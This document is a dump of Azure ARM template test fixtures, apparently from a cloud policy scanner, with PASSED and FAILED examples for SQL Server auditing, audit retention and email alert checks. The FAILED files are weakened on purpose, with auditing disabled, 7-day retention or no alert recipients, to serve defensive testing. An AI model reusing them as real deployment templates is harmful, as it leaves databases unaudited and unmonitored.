"apiVersion": "2015-05-01-preview", "location": "[parameters('location')]", "properties": { "endIpAddress": "0.0.0.0", "startIpAddress": "0.0.0.0" }, "dependsOn": [ "[variables('sqlServerName')]" ] } ] } ], "outputs": { "sqlServerFqdn": { "type": "string", "value": "[reference(concat('Microsoft.Sql/servers/', variables('sqlServerName'))).fullyQualifiedDomainName]" }, "databaseName": { "type": "string", "value": "[variables('databaseName')]" } } } ================================================ FILE: tests/arm/checks/resource/example_SQLServerAuditingEnabled/sqlServerDatabaseAuditingEnabled-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sqlAdministratorLogin": { "type": "string" }, "sqlAdministratorLoginPassword": { "type": "secureString" }, "transparentDataEncryption": { "type": "string", "defaultValue": "Enabled", "allowedValues": [ "Enabled", "Disabled" ] }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]" } }, "variables": { "databaseName": "sample-db-with-tde", "databaseEdition": "Basic", "databaseCollation": "SQL_Latin1_General_CP1_CI_AS", "databaseServiceObjectiveName": "Basic", "sqlServerName": "[format('sqlserver{0}', uniqueString(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Sql/servers/databases", "apiVersion": "2020-08-01-preview", "name": "dbEnabled", "properties": { "state": "[parameters('transparentDataEncryption')]" }, "resources": [ { "type": "auditingSettings", "apiVersion": "2019-06-01-preview", "name": "DefaultAuditingSettings", "dependsOn": [ "[parameters('sqlServerName')]", "[parameters('storageAccountName')]", "[extensionResourceId(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), 'Microsoft.Authorization/roleAssignments/', variables('uniqueRoleGuid'))]" ], "properties": { "state": "Enabled", "storageEndpoint": "[reference(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').PrimaryEndpoints.Blob]", "storageAccountAccessKey": "[if(parameters('isStorageBehindVnet'), json('null'), listKeys(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').keys[0].value)]", "storageAccountSubscriptionId": "[subscription().subscriptionId]", "isStorageSecondaryKeyInUse": false } } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLServerAuditingRetention90Days/sqlServerAuditingRetention90Days-2021-05-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Sql/servers", "apiVersion": "2021-05-01-preview", "name": "[parameters('sqlServerName')]", "location": "[resourceGroup().location]", "properties": { "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]" }, "resources": [ { "type": "databases", "apiVersion": "2021-05-01-preview", "name": "[parameters('databaseName')]", "location": "[resourceGroup().location]", "dependsOn": [ "[concat('Microsoft.Sql/servers/', parameters('sqlServerName'))]" ], "properties": { "collation": "SQL_Latin1_General_CP1_CI_AS", "maxSizeBytes": "268435456000", "createMode": "Default" }, "resources": [ { "type": "Microsoft.Sql/servers/databases/auditingPolicies", "apiVersion": "2020-02-02-preview", "name": "[concat(parameters('sqlServerName'), '/', parameters('databaseName'), '/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('sqlServerName'), parameters('databaseName'))]" ], "properties": { "state": "Enabled", "auditActionsAndGroups": [ "SUCCESSFUL_DATABASE_AUTHENTICATION_GROUP", "FAILED_DATABASE_AUTHENTICATION_GROUP", "BATCH_COMPLETED_GROUP" ], "retentionDays": 91 } } ] } ], "sku": { "name": "GP_Gen5_2", "tier": "GeneralPurpose" } } ], "parameters": { "sqlServerName": { "type": "string", "metadata": { "description": "Name of the SQL Server." } }, "administratorLogin": { "type": "string", "metadata": { "description": "Administrator username for the SQL Server." } }, "administratorLoginPassword": { "type": "securestring", "metadata": { "description": "Administrator password for the SQL Server." } }, "databaseName": { "type": "string", "metadata": { "description": "Name of the SQL database to create." } } } } ================================================ FILE: tests/arm/checks/resource/example_SQLServerAuditingRetention90Days/sqlServerAuditingRetention90Days-FAILED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sqlServerName": { "type": "string", "defaultValue": "[concat('sql-', uniqueString(resourceGroup().id))]", "metadata": { "description": "Name of the SQL server" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "sqlAdministratorLogin": { "type": "string", "metadata": { "description": "The administrator username of the SQL Server." } }, "sqlAdministratorLoginPassword": { "type": "securestring", "metadata": { "description": "The administrator password of the SQL Server." } }, "storageAccountName": { "type": "string", "defaultValue": "[concat('sqlaudit', uniqueString(resourceGroup().id))]", "metadata": { "description": "The name of the auditing storage account." } }, "isStorageBehindVnet": { "type": "bool", "defaultValue": false, "metadata": { "description": "Enable Auditing to storage behind Virtual Network or firewall rules. The user deploying the template must have an administrator or owner permissions." } } }, "variables": { "StorageBlobContributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]", "uniqueRoleGuid": "[guid(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), variables('storageBlobContributor'), resourceId('Microsoft.Sql/servers', parameters('sqlServerName')))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "name": "[parameters('storageAccountName')]", "apiVersion": "2019-06-01", "location": "[parameters('location')]", "sku": { "name": "Standard_LRS" }, "kind": "StorageV2", "properties": { "networkAcls": { "bypass": "AzureServices", "defaultAction": "[if(parameters('isStorageBehindVnet'), 'Deny', 'Allow')]" } }, "resources": [ { "condition": "[parameters('isStorageBehindVnet')]", "type": "Microsoft.Storage/storageAccounts/providers/roleAssignments", "apiVersion": "2020-03-01-preview", "name": "[concat(parameters('storageAccountName'), '/Microsoft.Authorization/', variables('uniqueRoleGuid'))]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('sqlServerName'))]", "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]" ], "properties": { "roleDefinitionId": "[variables('StorageBlobContributor')]", "principalId": "[reference(resourceId('Microsoft.Sql/servers', parameters('sqlServerName')), '2019-06-01-preview', 'Full').identity.principalId]", "scope": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]", "principalType": "ServicePrincipal" } } ] }, { "type": "Microsoft.Sql/servers", "apiVersion": "2019-06-01-preview", "location": "[parameters('location')]", "name": "[parameters('sqlServerName')]", "identity": "[if(parameters('isStorageBehindVnet'), json('{\"type\":\"SystemAssigned\"}'), json('null'))]", "properties": { "administratorLogin": "[parameters('sqlAdministratorLogin')]", "administratorLoginPassword": "[parameters('sqlAdministratorLoginPassword')]", "version": "12.0" }, "tags": { "displayName": "[parameters('sqlServerName')]" }, "resources": [ { "type": "auditingSettings", "apiVersion": "2019-06-01-preview", "name": "DefaultAuditingSettings", "dependsOn": [ "[parameters('sqlServerName')]", "[parameters('storageAccountName')]", "[extensionResourceId(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), 'Microsoft.Authorization/roleAssignments/', variables('uniqueRoleGuid'))]" ], "properties": { "state": "Enabled", "retentionDays": "7", "storageEndpoint": "[reference(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').PrimaryEndpoints.Blob]", "storageAccountAccessKey": "[if(parameters('isStorageBehindVnet'), json('null'), listKeys(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').keys[0].value)]", "storageAccountSubscriptionId": "[subscription().subscriptionId]", "isStorageSecondaryKeyInUse": false } } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLServerAuditingRetention90Days/sqlServerAuditingRetention90Days-FAILED3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sqlServerName": { "type": "string", "defaultValue": "[concat('sql-', uniqueString(resourceGroup().id))]", "metadata": { "description": "Name of the SQL server" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "sqlAdministratorLogin": { "type": "string", "metadata": { "description": "The administrator username of the SQL Server." } }, "sqlAdministratorLoginPassword": { "type": "securestring", "metadata": { "description": "The administrator password of the SQL Server." } }, "storageAccountName": { "type": "string", "defaultValue": "[concat('sqlaudit', uniqueString(resourceGroup().id))]", "metadata": { "description": "The name of the auditing storage account." } }, "isStorageBehindVnet": { "type": "bool", "defaultValue": false, "metadata": { "description": "Enable Auditing to storage behind Virtual Network or firewall rules. The user deploying the template must have an administrator or owner permissions." } } }, "variables": { "StorageBlobContributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]", "uniqueRoleGuid": "[guid(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), variables('storageBlobContributor'), resourceId('Microsoft.Sql/servers', parameters('sqlServerName')))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "name": "[parameters('storageAccountName')]", "apiVersion": "2019-06-01", "location": "[parameters('location')]", "sku": { "name": "Standard_LRS" }, "kind": "StorageV2", "properties": { "networkAcls": { "bypass": "AzureServices", "defaultAction": "[if(parameters('isStorageBehindVnet'), 'Deny', 'Allow')]" } }, "resources": [ { "condition": "[parameters('isStorageBehindVnet')]", "type": "Microsoft.Storage/storageAccounts/providers/roleAssignments", "apiVersion": "2020-03-01-preview", "name": "[concat(parameters('storageAccountName'), '/Microsoft.Authorization/', variables('uniqueRoleGuid'))]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('sqlServerName'))]", "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]" ], "properties": { "roleDefinitionId": "[variables('StorageBlobContributor')]", "principalId": "[reference(resourceId('Microsoft.Sql/servers', parameters('sqlServerName')), '2019-06-01-preview', 'Full').identity.principalId]", "scope": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]", "principalType": "ServicePrincipal" } } ] }, { "type": "Microsoft.Sql/servers", "apiVersion": "2019-06-01-preview", "location": "[parameters('location')]", "name": "[parameters('sqlServerName')]", "identity": "[if(parameters('isStorageBehindVnet'), json('{\"type\":\"SystemAssigned\"}'), json('null'))]", "properties": { "administratorLogin": "[parameters('sqlAdministratorLogin')]", "administratorLoginPassword": "[parameters('sqlAdministratorLoginPassword')]", "version": "12.0" }, "tags": { "displayName": "[parameters('sqlServerName')]" }, "resources": [ { "type": "auditingSettings", "apiVersion": "2019-06-01-preview", "name": "DefaultAuditingSettings", "dependsOn": [ "[parameters('sqlServerName')]", "[parameters('storageAccountName')]", "[extensionResourceId(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), 'Microsoft.Authorization/roleAssignments/', variables('uniqueRoleGuid'))]" ], "properties": { "state": "Disabled", "retentionDays": 90, "storageEndpoint": "[reference(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').PrimaryEndpoints.Blob]", "storageAccountAccessKey": "[if(parameters('isStorageBehindVnet'), json('null'), listKeys(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').keys[0].value)]", "storageAccountSubscriptionId": "[subscription().subscriptionId]", "isStorageSecondaryKeyInUse": false } } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLServerAuditingRetention90Days/sqlServerAuditingRetention90Days-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sqlServerName": { "type": "string", "defaultValue": "[concat('sql-', uniqueString(resourceGroup().id))]", "metadata": { "description": "Name of the SQL server" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "sqlAdministratorLogin": { "type": "string", "metadata": { "description": "The administrator username of the SQL Server." } }, "sqlAdministratorLoginPassword": { "type": "securestring", "metadata": { "description": "The administrator password of the SQL Server." } }, "storageAccountName": { "type": "string", "defaultValue": "[concat('sqlaudit', uniqueString(resourceGroup().id))]", "metadata": { "description": "The name of the auditing storage account." } }, "isStorageBehindVnet": { "type": "bool", "defaultValue": false, "metadata": { "description": "Enable Auditing to storage behind Virtual Network or firewall rules. The user deploying the template must have an administrator or owner permissions." } } }, "variables": { "StorageBlobContributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]", "uniqueRoleGuid": "[guid(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), variables('storageBlobContributor'), resourceId('Microsoft.Sql/servers', parameters('sqlServerName')))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "name": "[parameters('storageAccountName')]", "apiVersion": "2019-06-01", "location": "[parameters('location')]", "sku": { "name": "Standard_LRS" }, "kind": "StorageV2", "properties": { "networkAcls": { "bypass": "AzureServices", "defaultAction": "[if(parameters('isStorageBehindVnet'), 'Deny', 'Allow')]" } }, "resources": [ { "condition": "[parameters('isStorageBehindVnet')]", "type": "Microsoft.Storage/storageAccounts/providers/roleAssignments", "apiVersion": "2020-03-01-preview", "name": "[concat(parameters('storageAccountName'), '/Microsoft.Authorization/', variables('uniqueRoleGuid'))]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('sqlServerName'))]", "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]" ], "properties": { "roleDefinitionId": "[variables('StorageBlobContributor')]", "principalId": "[reference(resourceId('Microsoft.Sql/servers', parameters('sqlServerName')), '2019-06-01-preview', 'Full').identity.principalId]", "scope": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]", "principalType": "ServicePrincipal" } } ] }, { "type": "Microsoft.Sql/servers", "apiVersion": "2019-06-01-preview", "location": "[parameters('location')]", "name": "[parameters('sqlServerName')]", "identity": "[if(parameters('isStorageBehindVnet'), json('{\"type\":\"SystemAssigned\"}'), json('null'))]", "properties": { "administratorLogin": "[parameters('sqlAdministratorLogin')]", "administratorLoginPassword": "[parameters('sqlAdministratorLoginPassword')]", "version": "12.0" }, "tags": { "displayName": "[parameters('sqlServerName')]" }, "resources": [ { "type": "auditingSettings", "apiVersion": "2019-06-01-preview", "name": "DefaultAuditingSettings", "dependsOn": [ "[parameters('sqlServerName')]", "[parameters('storageAccountName')]", "[extensionResourceId(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), 'Microsoft.Authorization/roleAssignments/', variables('uniqueRoleGuid'))]" ], "properties": { "state": "Enabled", "retentionDays": 90, "storageEndpoint": "[reference(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').PrimaryEndpoints.Blob]", "storageAccountAccessKey": "[if(parameters('isStorageBehindVnet'), json('null'), listKeys(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').keys[0].value)]", "storageAccountSubscriptionId": "[subscription().subscriptionId]", "isStorageSecondaryKeyInUse": false } } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLServerAuditingRetention90Days/sqlServerAuditingRetention90Days-PASSED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sqlServerName": { "type": "string", "defaultValue": "[concat('sql-', uniqueString(resourceGroup().id))]", "metadata": { "description": "Name of the SQL server" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "sqlAdministratorLogin": { "type": "string", "metadata": { "description": "The administrator username of the SQL Server." } }, "sqlAdministratorLoginPassword": { "type": "securestring", "metadata": { "description": "The administrator password of the SQL Server." } }, "storageAccountName": { "type": "string", "defaultValue": "[concat('sqlaudit', uniqueString(resourceGroup().id))]", "metadata": { "description": "The name of the auditing storage account." } }, "isStorageBehindVnet": { "type": "bool", "defaultValue": false, "metadata": { "description": "Enable Auditing to storage behind Virtual Network or firewall rules. The user deploying the template must have an administrator or owner permissions." } } }, "variables": { "StorageBlobContributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]", "uniqueRoleGuid": "[guid(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), variables('storageBlobContributor'), resourceId('Microsoft.Sql/servers', parameters('sqlServerName')))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "name": "[parameters('storageAccountName')]", "apiVersion": "2019-06-01", "location": "[parameters('location')]", "sku": { "name": "Standard_LRS" }, "kind": "StorageV2", "properties": { "networkAcls": { "bypass": "AzureServices", "defaultAction": "[if(parameters('isStorageBehindVnet'), 'Deny', 'Allow')]" } }, "resources": [ { "condition": "[parameters('isStorageBehindVnet')]", "type": "Microsoft.Storage/storageAccounts/providers/roleAssignments", "apiVersion": "2020-03-01-preview", "name": "[concat(parameters('storageAccountName'), '/Microsoft.Authorization/', variables('uniqueRoleGuid'))]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('sqlServerName'))]", "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]" ], "properties": { "roleDefinitionId": "[variables('StorageBlobContributor')]", "principalId": "[reference(resourceId('Microsoft.Sql/servers', parameters('sqlServerName')), '2019-06-01-preview', 'Full').identity.principalId]", "scope": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]", "principalType": "ServicePrincipal" } } ] }, { "apiVersion": "[variables('apiVSQLServer')]", "type": "Microsoft.Sql/servers", "location": "[parameters('locationFull')]", "tags": { "DisplayName": "[parameters('resourceNameFull')]", "CreationDate": "[parameters('creationDate')]", "ExpiryDate": "[parameters('expiryDate')]" }, "name": "[parameters('resourceNameFull')]", "properties": { "administratorLogin": "[parameters('adminUsername')]", "administratorLoginPassword": "[parameters('adminPassword')]", "version": "[variables('serverVersion')]", "minimalTlsVersion": "[variables('minimalTlsVersion')]", "publicNetworkAccess": "[variables('publicNetworkAccess')]" }, "resources":[ { "condition": "[equals(parameters('enableAudit'),'true')]", "type": "Microsoft.Sql/servers/auditingSettings", "apiVersion": "[variables('apiVsecurityPol')]", "name": "[concat(parameters('resourceNameFull'), '/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('resourceNameFull'))]" ], "properties": { "retentionDays": 91, "auditActionsAndGroups": [ "SUCCESSFUL_DATABASE_AUTHENTICATION_GROUP", "FAILED_DATABASE_AUTHENTICATION_GROUP", "BATCH_COMPLETED_GROUP" ], "isAzureMonitorTargetEnabled": false, "state": "Enabled", "storageEndpoint": "[parameters('storageAccEndPoint')]", "storageAccountSubscriptionId": "[parameters('subscriptionId')]" } } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLServerAuditingRetention90Days/sqlServerAuditingRetention90Days-TDE-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sqlAdministratorLogin": { "type": "string", "metadata": { "description": "The administrator username of the SQL Server." } }, "sqlAdministratorLoginPassword": { "type": "securestring", "metadata": { "description": "The administrator password of the SQL Server." } }, "transparentDataEncryption": { "type": "string", "allowedValues": [ "Enabled", "Disabled" ], "defaultValue": "Enabled", "metadata": { "description": "Enable or disable Transparent Data Encryption (TDE) for the database." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "sqlServerName": "[concat('sqlserver', uniqueString(subscription().id, resourceGroup().id))]", "databaseName": "sample-db-with-tde", "databaseEdition": "Basic", "databaseCollation": "SQL_Latin1_General_CP1_CI_AS", "databaseServiceObjectiveName": "Basic" }, "resources": [ { "name": "[variables('sqlServerName')]", "type": "Microsoft.Sql/servers", "apiVersion": "2019-06-01-preview", "location": "[parameters('location')]", "tags": { "displayName": "SqlServer" }, "properties": { "administratorLogin": "[parameters('sqlAdministratorLogin')]", "administratorLoginPassword": "[parameters('sqlAdministratorLoginPassword')]", "version": "12.0" }, "resources": [ { "name": "[variables('databaseName')]", "type": "databases", "apiVersion": "2019-06-01-preview", "location": "[parameters('location')]", "tags": { "displayName": "Database" }, "properties": { "edition": "[variables('databaseEdition')]", "collation": "[variables('databaseCollation')]", "requestedServiceObjectiveName": "[variables('databaseServiceObjectiveName')]" }, "dependsOn": [ "[variables('sqlServerName')]" ], "resources": [ { "comments": "Transparent Data Encryption", "name": "current", "type": "transparentDataEncryption", "apiVersion": "2014-04-01-preview", "properties": { "status": "[parameters('transparentDataEncryption')]" }, "dependsOn": [ "[variables('databaseName')]" ] } ] }, { "name": "AllowAllMicrosoftAzureIps", "type": "firewallrules", "apiVersion": "2015-05-01-preview", "location": "[parameters('location')]", "properties": { "endIpAddress": "0.0.0.0", "startIpAddress": "0.0.0.0" }, "dependsOn": [ "[variables('sqlServerName')]" ] } ] } ], "outputs": { "sqlServerFqdn": { "type": "string", "value": "[reference(concat('Microsoft.Sql/servers/', variables('sqlServerName'))).fullyQualifiedDomainName]" }, "databaseName": { "type": "string", "value": "[variables('databaseName')]" } } } ================================================ FILE: tests/arm/checks/resource/example_SQLServerEmailAlertsEnabled/sqlServerEmailAlertsEnabled-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "serverName": { "type": "string", "defaultValue": "[concat('server-', uniqueString(resourceGroup().id, deployment().name))]", "metadata": { "description": "Name for the SQL server" } }, "databaseNames": { "type": "array", "defaultValue": [ "[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-1')]", "[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-2')]" ], "metadata": { "description": "Array of names for the SQL databases" } }, "emailAddresses": { "type": "array", "defaultValue": [ "user1@example.com", "user2@example.com" ], "metadata": { "description": "Array of email addresses for receiving alerts, each corresponding to its appropriate database (by index in the array)" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for server and DBs" } }, "adminUser": { "type": "string", "metadata": { "description": "Username for admin" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "Password for admin" } } }, "variables": { "databaseServerName": "[toLower(parameters('serverName'))]", "databaseNames": "[parameters('databaseNames')]", "databaseServerLocation": "[parameters('location')]", "databaseServerAdminLogin": "[parameters('adminUser')]", "databaseServerAdminLoginPassword": "[parameters('adminPassword')]", "emailAddresses": "[parameters('emailAddresses')]" }, "resources": [{ "type": "Microsoft.Sql/servers", "apiVersion": "2015-05-01-preview", "location": "[variables('databaseServerLocation')]", "name": "[variables('databaseServerName')]", "properties": { "administratorLogin": "[variables('databaseServerAdminLogin')]", "administratorLoginPassword": "[variables('databaseServerAdminLoginPassword')]", "version": "12.0" }, "tags": { "DisplayName": "[variables('databaseServerName')]" } }, { "apiVersion": "2017-10-01-preview", "type": "Microsoft.Sql/servers/databases", "sku": { "name": "S0", "tier": "Standard" }, "kind": "v12.0,user", "location": "[variables('databaseServerLocation')]", "name": "[concat(string(variables('databaseServerName')), '/', string(variables('databaseNames')[copyIndex()]))]", "dependsOn": ["[concat('Microsoft.Sql/servers/', variables('databaseServerName'))]"], "tags": { "DisplayName": "[variables('databaseServerName')]" }, "copy": { "name": "databaseCopy", "count": "[length(variables('databaseNames'))]" }, "properties": {}, "resources": [{ "apiVersion": "2014-04-01", "type": "securityAlertPolicies", "name": "default", "dependsOn": ["[concat('Microsoft.Sql/servers/', variables('databaseServerName'), '/databases/', variables('databaseNames')[copyIndex()])]"], "properties": { "state": "Enabled" } }] } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLServerEmailAlertsEnabled/sqlServerEmailAlertsEnabled-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "serverName": { "type": "string", "defaultValue": "[concat('server-', uniqueString(resourceGroup().id, deployment().name))]", "metadata": { "description": "Name for the SQL server" } }, "databaseNames": { "type": "array", "defaultValue": [ "[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-1')]", "[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-2')]" ], "metadata": { "description": "Array of names for the SQL databases" } }, "emailAddresses": { "type": "array", "defaultValue": [ "user1@example.com", "user2@example.com" ], "metadata": { "description": "Array of email addresses for receiving alerts, each corresponding to its appropriate database (by index in the array)" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for server and DBs" } }, "adminUser": { "type": "string", "metadata": { "description": "Username for admin" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "Password for admin" } } }, "variables": { "databaseServerName": "[toLower(parameters('serverName'))]", "databaseNames": "[parameters('databaseNames')]", "databaseServerLocation": "[parameters('location')]", "databaseServerAdminLogin": "[parameters('adminUser')]", "databaseServerAdminLoginPassword": "[parameters('adminPassword')]", "emailAddresses": "[parameters('emailAddresses')]" }, "resources": [{ "type": "Microsoft.Sql/servers", "apiVersion": "2015-05-01-preview", "location": "[variables('databaseServerLocation')]", "name": "[variables('databaseServerName')]", "properties": { "administratorLogin": "[variables('databaseServerAdminLogin')]", "administratorLoginPassword": "[variables('databaseServerAdminLoginPassword')]", "version": "12.0" }, "tags": { "DisplayName": "[variables('databaseServerName')]" } }, { "apiVersion": "2017-10-01-preview", "type": "Microsoft.Sql/servers/databases", "sku": { "name": "S0", "tier": "Standard" }, "kind": "v12.0,user", "location": "[variables('databaseServerLocation')]", "name": "[concat(string(variables('databaseServerName')), '/', string(variables('databaseNames')[copyIndex()]))]", "dependsOn": ["[concat('Microsoft.Sql/servers/', variables('databaseServerName'))]"], "tags": { "DisplayName": "[variables('databaseServerName')]" }, "copy": { "name": "databaseCopy", "count": "[length(variables('databaseNames'))]" }, "properties": {}, "resources": [{ "apiVersion": "2014-04-01", "type": "securityAlertPolicies", "name": "default", "dependsOn": ["[concat('Microsoft.Sql/servers/', variables('databaseServerName'), '/databases/', variables('databaseNames')[copyIndex()])]"], "properties": { "state": "Enabled", "emailAddresses": "[variables('emailAddresses')[copyIndex()]]", "emailAccountAdmins": "Enabled" } }] } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLServerEmailAlertsToAdminsEnabled/sqlServerEmailAlertsToAdminsEnabled-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "serverName": { "type": "string", "defaultValue": "[concat('server-', uniqueString(resourceGroup().id, deployment().name))]", "metadata": { "description": "Name for the SQL server" } }, "databaseNames": { "type": "array", "defaultValue": [ "[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-1')]", "[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-2')]" ], "metadata": { "description": "Array of names for the SQL databases" } }, "emailAddresses": { "type": "array", "defaultValue": [ "user1@example.com", "user2@example.com" ], "metadata": { "description": "Array of email addresses for receiving alerts, each corresponding to its appropriate database (by index in the array)" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for server and DBs" } }, "adminUser": { "type": "string", "metadata": { "description": "Username for admin" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "Password for admin" } } }, "variables": { "databaseServerName": "[toLower(parameters('serverName'))]", "databaseNames": "[parameters('databaseNames')]", "databaseServerLocation": "[parameters('location')]", "databaseServerAdminLogin": "[parameters('adminUser')]", "databaseServerAdminLoginPassword": "[parameters('adminPassword')]", "emailAddresses": "[parameters('emailAddresses')]" }, "resources": [{ "type": "Microsoft.Sql/servers", "apiVersion": "2015-05-01-preview", "location": "[variables('databaseServerLocation')]", "name": "[variables('databaseServerName')]", "properties": { "administratorLogin": "[variables('databaseServerAdminLogin')]", "administratorLoginPassword": "[variables('databaseServerAdminLoginPassword')]", "version": "12.0" }, "tags": { "DisplayName": "[variables('databaseServerName')]" } }, { "apiVersion": "2017-10-01-preview", "type": "Microsoft.Sql/servers/databases", "sku": { "name": "S0", "tier": "Standard" }, "kind": "v12.0,user", "location": "[variables('databaseServerLocation')]", "name": "[concat(string(variables('databaseServerName')), '/', string(variables('databaseNames')[copyIndex()]))]", "dependsOn": ["[concat('Microsoft.Sql/servers/', variables('databaseServerName'))]"], "tags": { "DisplayName": "[variables('databaseServerName')]" }, "copy": { "name": "databaseCopy", "count": "[length(variables('databaseNames'))]" }, "properties": {}, "resources": [{ "apiVersion": "2014-04-01", "type": "securityAlertPolicies", "name": "default", "dependsOn": ["[concat('Microsoft.Sql/servers/', variables('databaseServerName'), '/databases/', variables('databaseNames')[copyIndex()])]"], "properties": { "state": "Enabled" } }] } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLServerEmailAlertsToAdminsEnabled/sqlServerEmailAlertsToAdminsEnabled-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "serverName": { "type": "string", "defaultValue": "[concat('server-', uniqueString(resourceGroup().id, deployment().name))]", "metadata": { "description": "Name for the SQL server" } }, "databaseNames": { "type": "array", "defaultValue": [ "[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-1')]", "[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-2')]" ], "metadata": { "description": "Array of names for the SQL databases" } }, "emailAddresses": { "type": "array", "defaultValue": [ "user1@example.com", "user2@example.com" ], "metadata": { "description": "Array of email addresses for receiving alerts, each corresponding to its appropriate database (by index in the array)" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for server and DBs" } }, "adminUser": { "type": "string", "metadata": { "description": "Username for admin" } }, 